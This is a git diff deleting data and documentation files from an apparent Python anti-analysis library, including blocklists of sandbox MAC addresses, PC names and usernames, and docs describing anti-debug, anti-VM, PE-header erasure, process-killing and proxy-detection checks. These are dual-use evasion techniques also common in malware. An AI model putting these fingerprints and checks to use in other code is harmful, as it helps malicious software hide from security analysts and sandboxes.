-08:00:27:26:1b:94 -08:00:27:28:67:1a -08:00:27:28:e3:8a -08:00:27:34:7a:b1 -08:00:27:3a:28:73 -08:00:27:45:13:10 -08:00:27:46:a3:07 -08:00:27:4a:cc:93 -08:00:27:4f:e9:1d -08:00:27:5e:53:08 -08:00:27:74:bd:28 -08:00:27:7b:5b:3b -08:00:27:82:3d:dd -08:00:27:88:f9:c3 -08:00:27:8b:3e:7e -08:00:27:9f:4d:2f -08:00:27:b6:c5:5a -08:00:27:c0:be:b8 -08:00:27:ec:0e:51 -08:00:27:f4:14:a6 -08:00:27:fa:22:90 -08:00:27:ff:d3:c4 -0c:c4:7a:c8:39:21 -0c:c4:7a:c8:39:33 -0c:c4:7a:c8:39:37 -0c:c4:7a:c8:39:42 -12:04:6b:47:c4:71 -12:1b:9e:3c:a6:2c -12:8a:5c:2a:65:d1 -12:94:86:73:8e:5d -12:a9:f8:37:65:83 -12:b6:4b:62:ea:cd -12:e6:0c:f5:55:bf -12:f8:87:ab:13:ec -16:ef:22:04:af:76 -1a:6c:62:60:3b:f4 -1c:99:57:1c:ad:e4 -1e:6c:34:93:68:64 -2a:38:06:16:65:d6 -2e:62:e8:47:14:49 -2e:b8:24:4d:f7:de -2e:bc:c1:0c:cb:c3 -32:11:4d:d0:4a:9e -3a:18:2f:93:16:06 -3a:7a:4b:23:00:f6 -3c:ec:ef:43:fe:56 -3c:ec:ef:43:fe:9c -3c:ec:ef:43:fe:a4 -3c:ec:ef:43:fe:d6 -3c:ec:ef:43:fe:de -3c:ec:ef:43:ff:5e -3c:ec:ef:44:00:16 -3c:ec:ef:44:00:34 -3c:ec:ef:44:00:36 -3c:ec:ef:44:00:b4 -3c:ec:ef:44:00:b8 -3c:ec:ef:44:00:d0 -3c:ec:ef:44:00:d7 -3c:ec:ef:44:00:fe -3c:ec:ef:44:01:0c -3c:ec:ef:44:01:24 -3c:ec:ef:44:01:30 -3c:ec:ef:44:01:50 -3c:ec:ef:44:01:57 -3c:ec:ef:44:01:a8 -3c:ec:ef:44:01:aa -3c:ec:ef:44:02:04 -3e:1c:a1:40:b7:5f -3e:53:81:b7:01:13 -3e:62:aa:de:d7:10 -3e:c1:fd:f1:bf:71 -42:01:0a:8a:00:22 -42:01:0a:8a:00:33 -42:01:0a:8e:00:22 -42:01:0a:96:00:22 -42:01:0a:96:00:33 -42:85:07:f4:83:d0 -4a:3c:5d:ce:ed:b0 -4e:79:c0:d9:af:c3 -4e:81:81:8e:22:4e -52:54:00:3b:78:24 -52:54:00:8b:a6:08 -52:54:00:a0:41:92 -52:54:00:ab:de:59 -52:54:00:b3:e4:71 -52:e7:af:c5:c6:cb -56:49:c0:b8:e6:2b -56:b0:6f:ca:0a:e7 -56:e8:92:2e:76:0d -5a:89:61:39:9a:e2 -5a:e2:a6:a4:44:db -5e:86:e4:3d:0d:f6 -60:02:92:3d:f1:69 -60:02:92:66:10:79 -66:0c:31:e8:d0:15 -72:07:f2:e2:d2:7b -72:b5:c0:9b:a9:b2 -7e:05:a3:62:9c:4d -7e:44:6c:f0:a3:a7 -7e:66:1f:e8:d5:09 -7e:b8:7b:21:b8:3f -8a:e8:f4:ff:f5:b3 -8e:73:7b:82:ce:ac -90:48:9a:9d:d5:24 -92:4c:a8:23:fc:2e -94:de:80:de:1a:35 -96:0d:7f:f7:e3:19 -96:2b:e9:43:96:76 -9a:d1:44:ac:db:be -a6:24:aa:ae:e6:12 -ac:1f:6b:d0:47:a0 -ac:1f:6b:d0:48:4e -ac:1f:6b:d0:48:50 -ac:1f:6b:d0:48:d2 -ac:1f:6b:d0:48:f8 -ac:1f:6b:d0:48:fe -ac:1f:6b:d0:49:1c -ac:1f:6b:d0:49:26 -ac:1f:6b:d0:49:28 -ac:1f:6b:d0:49:76 -ac:1f:6b:d0:49:86 -ac:1f:6b:d0:49:b8 -ac:1f:6b:d0:4c:0a -ac:1f:6b:d0:4c:a2 -ac:1f:6b:d0:4d:06 -ac:1f:6b:d0:4d:8e -ac:1f:6b:d0:4d:98 -ac:1f:6b:d0:4d:c0 -ac:1f:6b:d0:4d:cc -ac:1f:6b:d0:4d:e4 -b2:9f:a3:9e:16:9e -b4:a9:5a:b1:c6:fd -b6:c4:c0:09:08:ae -b6:ed:9d:27:f4:fa -be:00:e5:c5:0c:e5 -be:2b:f2:c8:87:6e -bf:af:1b:fc:ce:42 -c2:64:e7:fe:36:18 -c2:bd:e9:ad:a7:9c -c2:ee:af:fd:29:21 -c8:9f:1d:b6:58:e4 -ca:4d:4b:ca:18:cc -d2:1b:62:b0:55:bb -d4:81:d7:1e:6c:30 -d4:81:d7:24:1d:4b -d4:81:d7:24:ee:7d -d4:81:d7:2e:f9:97 -d4:81:d7:31:2c:29 -d4:81:d7:42:0a:0b -d4:81:d7:47:36:85 -d4:81:d7:52:50:92 -d4:81:d7:87:05:ab -d4:81:d7:92:3a:e6 -d4:81:d7:9d:66:9b -d4:81:d7:a2:c9:73 -d4:81:d7:ac:5b:69 -d4:81:d7:b7:0e:11 -d4:81:d7:c4:2c:5d -d4:81:d7:cd:96:ef -d4:81:d7:d9:db:12 -d4:81:d7:e4:93:c9 -d4:81:d7:ed:25:54 -d4:81:d7:f1:1f:a2 -d4:81:d7:f2:fb:7a -d4:81:d7:fc:4c:8a -d4:81:d7:fe:bc:ef -d6:03:e4:ab:77:8e -d6:68:e1:6e:8f:0e -d6:73:50:cc:d2:5d -da:1f:fb:e4:05:27 -e2:3a:5d:90:aa:50 -e2:6f:77:dd:8e:96 -e6:85:43:3c:7e:1a -ea:02:75:3c:90:9f -ea:f6:f1:a2:33:76 -f2:44:3c:5e:f7:53 -f6:a5:41:31:b2:78 -fa:b9:44:c7:1c:13 -fe:97:78:29:be:37 -ff:6d:36:7e:50:43 -3c:ec:ef:c8:39:37 -c8:1f:66:c8:39:2a -c8:1f:66:c8:39:23 -00:50:56:a0:c1:fd -ac:1f:6b:d0:48:d8 -00:e0:4c:c9:fb:38 -00:e0:4c:11:4c:30 -00:e0:4c:d7:1a:3c -00:e0:4c:13:38:17 -00:e0:4c:8c:e1:df -00:e0:4c:b6:47:a3 -00:e0:4c:51:2f:48 -00:e0:4c:b8:d7:d7 -00:e0:4c:63:06:ec -00:e0:4c:d5:18:5e -ac:1f:6b:d0:4d:08 -00:e0:4c:c5:a6:21 -00:e0:4c:56:4c:16 -00:e0:4c:9d:6b:e7 -00:e0:4c:98:40:33 -00:e0:4c:b5:91:7c -00:e0:4c:68:c0:02 -00:e0:4c:eb:9d:83 -00:e0:4c:8f:ef:c5 -00:e0:4c:66:d9:58 -00:e0:4c:6e:12:dd -00:e0:4c:ba:21:c5 -00:e0:4c:c7:76:c9 -00:e0:4c:59:bd:b9 -c4:65:16:e8:19:02 -c4:65:16:e8:16:04 -ac:1f:6b:d0:4d:d8 -00:e0:4c:94:59:90 -d4:81:d7:92:c3:ca -00:e0:4c:ce:bb:79 -c4:65:16:e8:02:09 -c4:65:16:e8:16:01 -00:e0:4c:f1:10:c1 -00:e0:4c:1b:d8:33 \ No newline at end of file diff --git a/data/pc_name_list.txt b/data/pc_name_list.txt deleted file mode 100644 index c4e1b61..0000000 --- a/data/pc_name_list.txt +++ /dev/null @@ -1,180 +0,0 @@ -00900BC83803 -0CC47AC83803 -6C4E733F-C2D9-4 -ACEPC -AIDANPC -ALENMOOS-PC -ALIONE -APPONFLY-VPS -ARCHIBALDPC -azure -B30F0242-1C6A-4 -BAROSINO-PC -BECKER-PC -BEE7370C-8C0C-4 -COFFEE-SHOP -COMPNAME_4047 -d1bnJkfVlH -DESKTOP-19OLLTD -DESKTOP-1PYKP29 -DESKTOP-1Y2433R -DESKTOP-4U8DTF8 -DESKTOP-54XGX6F -DESKTOP-5OV9S0O -DESKTOP-6AKQQAM -DESKTOP-6BMFT65 -DESKTOP-70T5SDX -DESKTOP-7AFSTDP -DESKTOP-7XC6GEZ -DESKTOP-8K9D93B -DESKTOP-AHGXKTV -DESKTOP-ALBERTO -DESKTOP-B0T93D6 -DESKTOP-BGN5L8Y -DESKTOP-BUGIO -DESKTOP-BXJYAEC -DESKTOP-CBGPFEE -DESKTOP-CDQE7VN -DESKTOP-CHAYANN -DESKTOP-CM0DAW8 -DESKTOP-CNFVLMW -DESKTOP-CRCCCOT -DESKTOP-D019GDM -DESKTOP-D4FEN3M -DESKTOP-DE369SE -DESKTOP-DIL6IYA -DESKTOP-ECWZXY2 -DESKTOP-F7BGEN9 -DESKTOP-FSHHZLJ -DESKTOP-G4CWFLF -DESKTOP-GELATOR -DESKTOP-GLBAZXT -DESKTOP-GNQZM0O -DESKTOP-GPPK5VQ -DESKTOP-HASANLO -DESKTOP-HQLUWFA -DESKTOP-HSS0DJ9 -DESKTOP-IAPKN1P -DESKTOP-IFCAQVL -DESKTOP-ION5ZSB -DESKTOP-JQPIFWD -DESKTOP-KALVINO -DESKTOP-KOKOVSK -DESKTOP-NAKFFMT -DESKTOP-NKP0I4P -DESKTOP-NM1ZPLG -DESKTOP-NTU7VUO -DESKTOP-QUAY8GS -DESKTOP-RCA3QWX -DESKTOP-RHXDKWW -DESKTOP-S1LFPHO -DESKTOP-SUPERIO -DESKTOP-V1L26J5 -DESKTOP-VIRENDO -DESKTOP-VKNFFB6 -DESKTOP-VRSQLAG -DESKTOP-VWJU7MF -DESKTOP-VZ5ZSYI -DESKTOP-W8JLV9V -DESKTOP-WG3MYJS -DESKTOP-WI8CLET -DESKTOP-XOY7MHS -DESKTOP-Y8ASUIL -DESKTOP-YW9UO1H -DESKTOP-ZJF9KAN -DESKTOP-ZMYEHDA -DESKTOP-ZNCAEAM -DESKTOP-ZOJJ8KL -DESKTOP-ZV9GVYL -DOMIC-DESKTOP -EA8C2E2A-D017-4 -ESPNHOOL -GANGISTAN -GBQHURCC -GRAFPC -GRXNNIIE -gYyZc9HZCYhRLNg -JBYQTQBO -JERRY-TRUJILLO -JOHN-PC -JUDES-DOJO -JULIA-PC -LANTECH-LLC -LISA-PC -LOUISE-PC -LUCAS-PC -MIKE-PC -NETTYPC -ORELEEPC -ORXGKKZC -Paul Jones -PC-DANIELE -PROPERTY-LTD -Q9IATRKPRH -QarZhrdBpj -RALPHS-PC -SERVER-PC -SERVER1 -Steve -SYKGUIDE-WS17 -T00917 -test42 -TIQIYLA9TW5M -TMKNGOMU -TVM-PC -VONRAHEL -WILEYPC -WIN-5E07COS9ALR -WINDOWS-EEL53SN -WINZDS-1BHRVPQU -WINZDS-22URJIBV -WINZDS-3FF2I9SN -WINZDS-5J75DTHH -WINZDS-6TUIHN7R -WINZDS-8MAEI8E4 -WINZDS-9IO75SVG -WINZDS-AM76HPK2 -WINZDS-B03L9CEO -WINZDS-BMSMD8ME -WINZDS-BUAOKGG1 -WINZDS-K7VIK4FC -WINZDS-QNGKGN59 -WINZDS-RST0E8VU -WINZDS-U95191IG -WINZDS-VQH86L5D -WORK -XC64ZB -XGNSVODU -ZELJAVA -3CECEFC83806 -C81F66C83805 -DESKTOP-USLVD7G -DESKTOP-AUPFKSY -DESKTOP-RP4FIBL -DESKTOP-6UJBD2J -DESKTOP-LTMCKLA -DESKTOP-FLTWYYU -DESKTOP-WA2BY3L -DESKTOP-UBDJJ0A -DESKTOP-KXP5YFO -DESKTOP-DAU8GJ2 -DESKTOP-FCRB3FM -DESKTOP-VYRNO7M -DESKTOP-PKQNDSR -DESKTOP-SCNDJWE -DESKTOP-RSNLFZS -DESKTOP-MWFRVKH -DESKTOP-QLN2VUF -DESKTOP-62YPFIQ -DESKTOP-PA0FNV5 -DESKTOP-B9OARKC -DESKTOP-J5XGGXR -DESKTOP-JHUHOTB -DESKTOP-64ACUCH -DESKTOP-SUNDMI5 -DESKTOP-GCN6MIO -FERREIRA-W10 -DESKTOP-MJC6500 -DESKTOP-WS7PPR2 -DESKTOP-XWQ5FUV -DESKTOP-UHHSY4R \ No newline at end of file diff --git a/data/pc_platforms.txt b/data/pc_platforms.txt deleted file mode 100644 index fa6dee2..0000000 --- a/data/pc_platforms.txt +++ /dev/null @@ -1,5 +0,0 @@ -Windows-XP-5.1.2600-SP2 -b'Microsoft Windows Server 2022 Standard Evaluation' -Microsoft Windows Server 2022 Standard Evaluation -'Microsoft Windows Server 2022 Standard Evaluation' -\xd0\x9f\xd1\x80\xd0\xbe\xd1\x84\xd0\xb5\xd1\x81\xd1\x81\xd0\xb8\xd0\xbe\xd0\xbd\xd0\xb0\xd0\xbb\xd1\x8c\xd0\xbd\xd0\xb0\xd1\x8f diff --git a/data/pc_username_list.txt b/data/pc_username_list.txt deleted file mode 100644 index ca6d741..0000000 --- a/data/pc_username_list.txt +++ /dev/null @@ -1,113 +0,0 @@ -05h00Gi0 -3u2v9m8 -43By4 -4tgiizsLimS -6O4KyHhJXBiR -7wjlGX7PjlW4 -8Nl0ColNQ5bq -8VizSM -Abby -Amy -AppOnFlySupport -ASPNET -azure -BUiA1hkm -BvJChRPnsxn -cM0uEGN4do -cMkNdS6 -DefaultAccount -dOuyo8RV71 -DVrzi -e60UW -ecVtZ5wE -EGG0p -Frank -fred -G2DbYLDgzz8Y -george -GjBsjb -Guest -h7dk1xPr -h86LHD -Harry Johnson -HEUeRzl -hmarc -ICQja5iT -IVwoKUF -j6SHA37KA -j7pNjWM -John -jude -Julia -kEecfMwgj -kFu0lQwgX5P -KUv3bT4 -Lisa -lK3zMR -lmVwjj9b -Louise -Lucas -mike -Mr.None -noK4zG7ZhOf -o6jdigq -o8yTi52T -OgJb6GqgK0O -patex -PateX -Paul Jones -pf5vj -PgfV1X -PqONjHVwexsS -pWOuqdTDQ -PxmdUOpVyx -QfofoG -QmIS5df7u -QORxJKNk -qZo9A -RDhJ0CNFevzX -RGzcBUyrznReg -S7Wjuf -server -SqgFOf3G -Steve -test -TVM -txWas1m2t -umyUJ -Uox1tzaMO -User01 -w0fjuOVmCcP5A -WDAGUtilityAccount -XMiMmcKziitD -xPLyvzr8sgC -ykj0egq7fze -DdQrgc -ryjIJKIrOMs -nZAp7UBVaS1 -zOEsT -l3cnbB8Ar5b8 -xUnUy -fNBDSlDTXY -vzY4jmH0Jw02 -gu17B -UiQcX -21zLucUnfI85 -OZFUCOD6 -8LnfAai9QdJR -5sIBK -rB5BnfuR2 -GexwjQdjXG -IZZuXj -ymONofg -dxd8DJ7c -JAW4Dz0 -GJAm1NxXVm -UspG1y1C -equZE3J -BXw7q -lubi53aN14cU -5Y3y73 -9yjCPsEYIMH -GGw8NR -JcOtj17dZx \ No newline at end of file diff --git a/docs/code_of_conduct.md b/docs/code_of_conduct.md deleted file mode 100644 index cac3055..0000000 --- a/docs/code_of_conduct.md +++ /dev/null @@ -1,46 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the Project Leader on Discord Via DMing `ghoul#0002`. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [https://contributor-covenant.org/version/1/4][version] - -[homepage]: https://contributor-covenant.org -[version]: https://contributor-covenant.org/version/1/4/ diff --git a/docs/configuration/Events/index.md b/docs/configuration/Events/index.md deleted file mode 100644 index 5df74b6..0000000 --- a/docs/configuration/Events/index.md +++ /dev/null @@ -1,28 +0,0 @@ -# Intro To Events - -`Events` is a system implemented to notify when a specific function has raised a detection. - -There are two events that are called when the application detects suspicious activity, `pyprotector_detect` and the function's specific event found in the event reference. - -Example `pyprotector_detect` Event: - -```py -@security.event.obs.on("pyprotector_detect") -def on_pyprotector_detect(text: str, module: str, **kwargs): - print(f"{module} - {text}\nKwargs: {kwargs}") -``` - -Example Function Specific Event: - -```py -@security.event.obs.on("process_running") -def on_process_running(text: str, module: str, process: psutil.Process): - print(f"{module} - {text}\nProcess Name: {process.name()}") - # Free To Do Whatever You Want Here... -``` - -Events Will Always Return `text` and `module`, any other kwargs are event specific. - -You Can Find All Events In Each Modules Respective `Event Reference`. - - diff --git a/docs/configuration/Modules/Anti Analysis/events.md b/docs/configuration/Modules/Anti Analysis/events.md deleted file mode 100644 index b571634..0000000 --- a/docs/configuration/Modules/Anti Analysis/events.md +++ /dev/null @@ -1,37 +0,0 @@ -### Anti Analysis - -```py -debug_privilege_found() -``` - -Called When Debug Privilege Found Enabled - -```py -debug_object_handle_found() -``` - -Called When Debug Object Handle Found - -```py -nt_global_flag_debugged() -``` - -Called When `NT_GLOBAL_FLAG_DEBUGGED` Is Found In The Process Environment Block - -```py -hardware_breakpoint_set() -``` - -Called When Hardware Breakpoints Are Found Set - -```py -debug_filter_state() -``` - -Called When Debug Filter State `!= 0` - -```py -peb_being_debugged() -``` - -Called When `peb.BeingDebugged` == `True` \ No newline at end of file diff --git a/docs/configuration/Modules/Anti Analysis/index.md b/docs/configuration/Modules/Anti Analysis/index.md deleted file mode 100644 index f508282..0000000 --- a/docs/configuration/Modules/Anti Analysis/index.md +++ /dev/null @@ -1,35 +0,0 @@ -# Anti Analysis - -## Methods - -### `CheckDebugPrivilege` - -Checks If Debug Privilege is Found Enabled - -### `HideThreads` - -Hides Current Process Thread - -### `CheckDebugObject` - -Checks if A Debug Object Handle Handle Has Been Found - -### `CheckSEDebugName` - -Checks if `SE_DEBUG_NAME` privilege is found - -### `CheckNtGlobalFlag` - -Checks if `NT_GLOBAL_FLAG_DEBUGGED` is Found in the Process Environment Block - -### `CheckHardwareBreakpoints` - -Checks for set Hardware Breakpoints - -### `CheckDebugFilterState` - -Checks if **Debug Filter State** `!= 0` - -### `CheckPEB` - -Checks if `peb.BeingDebugged` == `True` \ No newline at end of file diff --git a/docs/configuration/Modules/Anti DLL/events.md b/docs/configuration/Modules/Anti DLL/events.md deleted file mode 100644 index 890f929..0000000 --- a/docs/configuration/Modules/Anti DLL/events.md +++ /dev/null @@ -1,11 +0,0 @@ -### Anti DLL - -```py -dll_attach(dlls: List[str]) -``` - -Called When Blacklisted DLL's Found Attached To Current Process - -##### Parameters - -- `dlls` ([List](https://docs.python.org/3/tutorial/introduction.html#lists)[[`str`](https://docs.python.org/3/library/stdtypes.html#str)]) - List Of Loaded DLL's \ No newline at end of file diff --git a/docs/configuration/Modules/Anti DLL/index.md b/docs/configuration/Modules/Anti DLL/index.md deleted file mode 100644 index 3d6beee..0000000 --- a/docs/configuration/Modules/Anti DLL/index.md +++ /dev/null @@ -1,7 +0,0 @@ -# Anti DLL - -## Methods - -### `BlockDLLs` - -Blocks DLL's That Match A Given List Being Injected Into Our Process \ No newline at end of file diff --git a/docs/configuration/Modules/Anti Dump/events.md b/docs/configuration/Modules/Anti Dump/events.md deleted file mode 100644 index 088d4f8..0000000 --- a/docs/configuration/Modules/Anti Dump/events.md +++ /dev/null @@ -1,6 +0,0 @@ -### Anti Dump - -```py -pe_header_erased() -``` -Called When PE Header Is Erased \ No newline at end of file diff --git a/docs/configuration/Modules/Anti Dump/index.md b/docs/configuration/Modules/Anti Dump/index.md deleted file mode 100644 index 6cfc09c..0000000 --- a/docs/configuration/Modules/Anti Dump/index.md +++ /dev/null @@ -1,7 +0,0 @@ -# Anti Dump - -## Methods - -### `ErasePEHeaderFromMemory` - -Erases PE Header From Memory \ No newline at end of file diff --git a/docs/configuration/Modules/Anti Process/events.md b/docs/configuration/Modules/Anti Process/events.md deleted file mode 100644 index e47e387..0000000 --- a/docs/configuration/Modules/Anti Process/events.md +++ /dev/null @@ -1,21 +0,0 @@ -### Anti Process - -```py -process_running(process: psutil.Process) -``` - -Called When Blacklisted Process Found Running - -##### Parameters - -- `process` ([`psutil.Process`](https://psutil.readthedocs.io/en/latest/#psutil.Process)) - Process Found Running - -```py -window_name_detected(window_name: str) -``` - -Called When Blacklisted Window Name Found - -##### Parameters - -- `window_name` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Window Name \ No newline at end of file diff --git a/docs/configuration/Modules/Anti Process/index.md b/docs/configuration/Modules/Anti Process/index.md deleted file mode 100644 index 5c8d043..0000000 --- a/docs/configuration/Modules/Anti Process/index.md +++ /dev/null @@ -1,12 +0,0 @@ -# Anti Process - -## Methods - -### `CheckProcessList` - -Checks Current Process List Against A List To Detect Harmful Programs - -### `CheckWindowNames` - -Checks Current Window Name Against A List To Detect Harmful Programs - diff --git a/docs/configuration/Modules/Anti VM/events.md b/docs/configuration/Modules/Anti VM/events.md deleted file mode 100644 index 406d756..0000000 --- a/docs/configuration/Modules/Anti VM/events.md +++ /dev/null @@ -1,129 +0,0 @@ -### Anti VM - -```py -blacklisted_hwid(hwid: str) -``` - -Called When Blacklisted HWID Found Detected - -##### Parameters - -- `hwid` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted HWID - -```py -blacklisted_pc_username(pc_username: str) -``` - -Called When Blacklisted PC Username Found - -##### Parameters - -- `pc_username` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted PC Username - - -```py -blacklisted_pc_name(pc_name: str) -``` - -Called When Blacklisted PC Name Found - -##### Parameters - -- `pc_name` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted PC Name - -```py -blacklisted_ip(ip: str) -``` - -Called When Blacklisted IP Found - -##### Parameters - -- `ip` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted IP - -```py -blacklisted_mac_address(mac_addr: str) -``` - -Called When Blacklisted Mac Address Found - -##### Parameters - -- `mac_addr` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted Mac Address - -##### Parameters - -```py -blacklisted_gpu(gpu: str) -``` - -Called When Blacklisted GPU Found - -##### Parameters - -- `gpu` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted GPU - -```py -vmware_registry(reg1: int, reg2: int) -``` - -Called When VMWare Registry Found - -##### Parameters - -- `reg1` ([`int`](https://docs.python.org/3/library/stdtypes.html#typesnumeric)) - VMWare Registry Identifier -- `reg2` ([`int`](https://docs.python.org/3/library/stdtypes.html#typesnumeric)) - VMWare Registry Identifier - -```py -vmware_mac(mac_addr: str) -``` - -Called When VMWare MAC Address Found - -##### Parameters - -- `mac_addr` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - VMWare MAC Address - - -```py -screen_size(x: int, y: int) -``` - -Called When `x <= 200 or y <= 200` - -##### Parameters - -- `x` ([`int`](https://docs.python.org/3/library/stdtypes.html#typesnumeric)) - Screen Size X -- `y` ([`int`](https://docs.python.org/3/library/stdtypes.html#typesnumeric)) - Screen Size Y - -```py -vm_process_running(processes: List[str]) -``` - -Called When VM Processes Found Running - -##### Parameters - -- `processes` ([List](https://docs.python.org/3/tutorial/introduction.html#lists)[[`str`](https://docs.python.org/3/library/stdtypes.html#str)]) - List Of Processes - -```py -vmware_dll(dll: str) -``` - -Called When VMWare DLL Found - -##### Parameters - -- `dll` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - VMWare DLL - -```py -virtualbox_dll(dll: str) -``` - -Called When VirtualBox DLL Found - -##### Parameters - -- `dll` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - VirtualBox DLL - - diff --git a/docs/configuration/Modules/Anti VM/index.md b/docs/configuration/Modules/Anti VM/index.md deleted file mode 100644 index 3ec3e77..0000000 --- a/docs/configuration/Modules/Anti VM/index.md +++ /dev/null @@ -1,23 +0,0 @@ -# Anti VM - -## Methods - -### `CheckLists` - -Check Blacklisted Lists To Compare Data like `HWID`, `IP`, `PC_NAME`, etc. - -### `CheckRegistry` - -Checks Registry For VMWare Software - -### `CheckMacAddress` - -Checks Current Mac Address For VMWare Mac Addresses - -### `CheckScreenSize` - -Checks If The Current Screen Size `x` or `y` is below `200` - -### `CheckProcessesAndFiles` - -Check For Blacklisted Virtual Machine Processes \ No newline at end of file diff --git a/docs/configuration/Modules/Miscellaneous/events.md b/docs/configuration/Modules/Miscellaneous/events.md deleted file mode 100644 index 75d3319..0000000 --- a/docs/configuration/Modules/Miscellaneous/events.md +++ /dev/null @@ -1,95 +0,0 @@ -### Miscellaneous - -```py -is_debugger_present() -``` - -Called When IsDebuggerPresent Returns True - -```py -check_remote_debugger_present() -``` - -Called When CheckRemoteDebuggerPresent Returns True - -```py -ram_check(ram: int) -``` - -Called When RAM Check Failed - -```py -cpu_count() -``` - -Called When CPU Core Count Is Less Than OR Equal To `1` - -##### Parameters - -- `memory` ([`int`](https://docs.python.org/3/library/stdtypes.html#typesnumeric)) - Current RAM - -```py -disk_size_check(disk_size: int) -``` - -Called When Disk Size Check Failed - -##### Parameters - -- `disk_size` ([`int`](https://docs.python.org/3/library/stdtypes.html#typesnumeric)) - Current Disk Size - - -```py -blacklisted_path(path: str) -``` - -Called When Blacklisted Path Found - -- `path` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted Path - -##### Parameters - -- `package` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Name Of Package -- `dist` ([`Distribution`](https://setuptools.pypa.io/en/latest/pkg_resources.html#distribution-objects)) - Distribution Object - -```py -ip_check(ip: str) -``` - -Called When Blacklisted IP Found - -##### Parameters - -- `ip` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Blacklisted IP - -```py -proxy_headers(header: str) -``` - -Called When Proxy Headers Found - -##### Parameters - -- `header` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Proxy Header - -```py -proxy_ip(ip: str) -``` - -Called When Proxy IP Found - -##### Parameters - -- `ip` ([`str`](https://docs.python.org/3/library/stdtypes.html#str)) - Proxy IP - -```py -tor_network() -``` - -Called When A Tor Network Is Found In Use - -```py -transparent_proxies() -``` - -Called When Transparent Proxies Detected diff --git a/docs/configuration/Modules/Miscellaneous/index.md b/docs/configuration/Modules/Miscellaneous/index.md deleted file mode 100644 index e68ebfc..0000000 --- a/docs/configuration/Modules/Miscellaneous/index.md +++ /dev/null @@ -1,47 +0,0 @@ -# Miscellaneous - -## Methods - -### `CheckInternet` - -Checks For A Valid Internet Connection - -### `CheckRAM` - -Checks If RAM is below `4GB` - -### `CheckIsDebuggerPresent` - -Checks Both `IsDebuggerPresent` and `CheckRemoteDebuggerPresent` - -### `CheckDiskSize` - -Checks If Disk Size Is Less Than Minimum - -### `KillTasks` - -Kills Common Reverse Engineering Tasks - -### `CheckPaths` - -Checks PC Paths For Blacklisted Paths - -### `CheckImports` - -Checks Python Imports Installed - -### `CheckOutPutDebugString` - -Checks if `OutputDebugString` Not Equal To `0` - -### `CheckIPs` - -Duplicate of `Anti VM's` `CheckLists` But `IP` Specific - -### `CheckCPUCores` - -Check If The Current CPU Core Count Is Less Than Or Equal Too `1` - -### `IsUsingProxy` - -Checks If `Proxy Headers`, `Proxy IP's` or A `Tor Network` Is Detected \ No newline at end of file diff --git a/docs/configuration/PythonProtector/index.md b/docs/configuration/PythonProtector/index.md deleted file mode 100644 index 3479c8c..0000000 --- a/docs/configuration/PythonProtector/index.md +++ /dev/null @@ -1,90 +0,0 @@ -# Python Protector - -```py -class PythonProtector: - def __init__( - self, - debug: Optional[bool], - modules: Set[str], - logs_path: Optional[Union[Path, str]], - webhook_url: Optional[str], - on_detect: Optional[Set[str]], - ) -> None: -``` - -## Arguments - -- `debug` (`bool`) - Whether Or Not PythonProtector Should Log Actions. -- `modules` (`Set[str]`) - List Of Modules You Would Like To Enable. -- `logs_path` (`Union[Path, str]`) - Path For PythonProtector Logs. -- `webhook_url` (`str`) - Webhook URL For Reporting Remotely. -- `on_detect` (`Set[str], optional`) - List of Things PyProtector Does When Detections Are Caused - -## Raises -- `ModulesNotValid` - Raises If Modules Are Not Valid -- `DetectionsNotValid` - Raises If on_detect parameters are invalid -- `LogsPathEmpty` - Raises If Debug Is Enabled But No Logs Path Are Provided - -## Methods - -#### `start` - -Main Function Of PythonProtector, Initializes Everything. - -##### Raises - - `DeprecationWarning` - If Python Version < 3.11 - - -## Properties - -#### `version` - -Returns The Current PythonProtector Version - -##### Type - -[`str`](https://docs.python.org/3/library/stdtypes.html#str) - -#### `user` - -Returns a Tuple of User Information - -##### Type - -[`tuple`](https://docs.python.org/3/library/functions.html#func-tuple) - -#### `ip` - -Returns The Current Users IP - -##### Type - -[`str`](https://docs.python.org/3/library/stdtypes.html#str) - -#### `computer` - 